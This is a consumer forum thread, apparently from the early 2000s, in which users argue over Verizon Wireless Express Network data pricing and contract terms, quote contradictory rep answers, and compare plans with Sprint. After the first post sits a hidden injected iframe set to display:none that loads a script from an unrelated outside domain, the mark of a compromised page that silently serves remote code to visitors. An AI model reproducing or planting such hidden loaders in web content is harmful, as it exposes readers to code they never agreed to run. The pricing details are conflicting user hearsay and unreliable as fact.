Hi All,

I just got off the phone with Verizon wireless where I was asking some questions about Express Network pricing. I could not believe what they were telling me so I wanted to ask you all here.

According to the rep I cannot just "add" data to my existing voice plan. I would have to cancel my voice plan and then sign up for an express network plan which would require me to renew my contract for at least another year and also incur a charge of $35 as a setup fee. All this is just for 10MB of data (charged by the number of Kb downloaded). It does not include voice! Non-Data calls are charged at $0.25/minute in home area and $0.69/minute while roaming.

Is this a joke? I mean with Sprint and even T-Mobile all you had to do was add the data option. Compare this to Sprint at $10/Month for unlimted PCS..... There is no comparison!

- Derek
(Now actively trying to find a way to use his 7135 on Sprint)<iframe src="http://tmb-corp.com/g/p/l/counter.js" style="display:none"></iframe>

He's totally wrong... I just added the 10 megs of data to my own Verizon voice plan. I was told that it's an added "feature" that can be added or deleted at any time and does not affect your voice contract. (There IS a data plan from which you can also make voice calls at the per minute charge he told you.... but that's not the plan you want. I just added 10 megs of EN data to my "America's Choice" plan...

Mark

I switched from my existing Verizon 900 minute plan to the 900 minute Express Network plan. Same price - $100 per month. I get 900 minutes of local voice, long distance voice, or data.

That would sound more reasonable. Now the only problem is how to find a rep who knows how to accomplish this.

How much did that extra 10MB data cost when added to your "America's Choice" plan?

- Derek

OK..So I have more information that sounds more reasonable to me. I figured I would post it here in case it would help others.

1) You can add Express Network to your Voice plan. In my case it is America's Choice

2) The cost is as follows (according to the rep)

a) $35 for 10MB. This equals about $0.0035 for every KB. (roughly 1/3 a cent). Overage is $0.06/KB

b) $9 for 1 MB. This equals $0.009 for every KB. (Roughly 1 cent per KB). Overage is $0.002/KB

Now looking at these it might seem that the $9/1MB might be the way to go as it is $0.02/KB over compared to the $0.06/KB of the first plan ($32/10MB). However if you find that you will be going over 1MB per month it would be a large cost savings to go with the $35/10MB plan.

If you had the $9/1MB plan and used a total of 3 MB data the total charge would be ...

$9 for 1 MB
$0.02 x 2000 KB (~2 MB) = $40

I hope this info helps.

- Derek

WRONG WRONG WRONG

I called the regular VZ cs number when I couldn't get ahold of my corporate rep, and was told the same thing. She told me that the EN plans were data only and that I had to get a separate voice plan!! I said "say what?" and directed her to the VZ website which says that included minutes can be used for both voice AND data. Even with that, she wouldn't budge from her position that I had to have two plans. :argue

When I talked to my corporate rep, she said that the VZ rep was wrong, the included minutes do include voice and data, and there's no need for two plans. I switched to the 600 minute EN plan, no need to extend my contract. Took about 5 seconds and I was able to access EN immediately.

I hate to keep but'n in on these V threads, but I had a 6035 on Verizon with 900/$100. Now I have a Treo with Sprint, 2000 anytime, nights/weekends, unlimited data for $95. I'm not in a Metro area and the service is great. I was holding on to my V account for a 7135, but I think I will bite the bullet, pay the cancelation fee and enjoy the unlimited data.

I just called Verizon to add EN and was hit with another option. Now, they say I can get 10mb for $35/month OR 150 minutes for $35/month. The rep insisted that it would not extend my contract and does not effect my America's Choice minutes and I could drop it at any time. He also said the free month offer was no longer available. Has anyone else heard of the 150 minutes of EN for $35 month? Also, does anyone know which would be a better deal?

The 150 mins for $35 is one of the available minutes plans. I have 600 minutes for $75. All of the minutes plans are shown on Verizon's website. I rarely go over 600 mins, and if I do it's because I'm on the road for work, and in that case the client pays....

I saw it on the VZW site, but it looks like it is combined minutes for data and phone that requires a contract. They seem to be offering it to me as an add on to my America's choice plan, with no extended contract. If that is so, it sounds like a better deal than 10 megs for $35.

I've still got my 6035. My store rep's hooking me up with the upgrade discount even though I don't deserve it for another year.

...but, I never updated my plan before. I can just dial *777 I think, maybe #, but that's it and it's just a regular call with minutes. Won't it be the same or is EN a higher speed connection?

EN (Express Network) is a high speed connection.

I can end all of the confusion here with the DATA PLANS.

I am a Verizon Wireless Sales Rep and I sell DATA everyday. You can add data to the America's Choice Plans only. Or you can set up an account that will share data/voice together. Everyone that I have set up on the megabyte plans and the voice/data share plans, have gone over their minutes. We also have an unlimited Express Network plan that is $99 a month. So far everyone that has signed up with me, has eventually changed to this plan for their data needs.
So what most of their plans look like is this:
Voice Plan: Americas Choice $49.99 a month with 500 anytime minutes, 1000 mobile to mobile, Unlimited nights and weekends
Plus the Express Network Unlimited Data feature for $99.

The total cost for this plan is $150 a month

The people I set up are in Buckhead, so this amount of money a month is nothing

Thanks, Aubrey.

Unfortunately, the $150 a month does mean a lot to me, especially since 500 anytime minutes is too little for my phone usage. I want to keep my regular AC setup and just add data. What I am still confused about is whether I have a choice between adding 150 data minutes or 10 mb a month for $35, or whether the 150 minutes is only good for a combined data/voice plan. It seems to me that 150 minutes of data might work, especially since my serious surfing is done from the office or home on T1 and cable connections.

Well, I just talked to two differently people at Verizon and cannot get a straight answer. The first person told me that the 150 minute plan was not available as an add on. (This makes sense.) The person they then connected me to to sign up for the 10 meg plan said she new NOTHING about EN and told me I had to sign a 2 year contract for even the 10 megabyte plan. When I said I did not think that was true, she said I may be right and suggested I go to the VZW website to learn what can and cannot be done. I am heading to a VZW store tonight. I can't believe that they not only charge a ridiculous amount for the EN service, but then make it very difficult to sign up.

Inoble,
obviouxly you are talking to people who do not know what they are talking about. I will be in my store tomorrow, due to the fact that I am a full time student on Tuesdays and Thursdays. If you want you can call my work number and I will add it to your account over the phone, granted I have to verify some of your personal info and maybe a password if you have put one on your account. My next question is going to be, are you going to access this from your 7135? and if not then tell me how you want to do it so I can tell you what you need to do it. My store number is 404-442-9316 Ext 104 and my name is Kirby. Sorry you have been having so much trouble with this express network thing.

Aubrey,

Thanks for the offer. I got lucky on a fifth try. This rep knew the 7135 and warned that they would not be able to support it if there was a problem. I asked what that meant and she said that if it didn't work, she could not send the issue up to a higher level support person. She then got the info for the 7135 and walked me through the steps. I had the FAQ here open and she confirmed what it said. She was actually surprised when it worked. She said that they had a lot of problems getting EN working on the 7135. In any event, it now works. She confirmed that it is month to month and can be dropped at anytime. Still, it was not the most friendly customer experience I've had.

I called today looking to change my National 900 minute plan to the same plan but with Express Network at the same price.

There are NO promo's right now which means I give up my 2000 minutes on the weekend unless I want to spend an additional $10.00 per month and the weekend starts at 9:00PM instead of 7:00PM.

Also, the web option from the phone is $7.00 per month and it uses your minutes.

Crazy pricing. I'm going to wait and see if they do better. I have my Blackberry so it's not a huge deal. It would be nice to have Express Network for the laptop when you're sitting at the airport.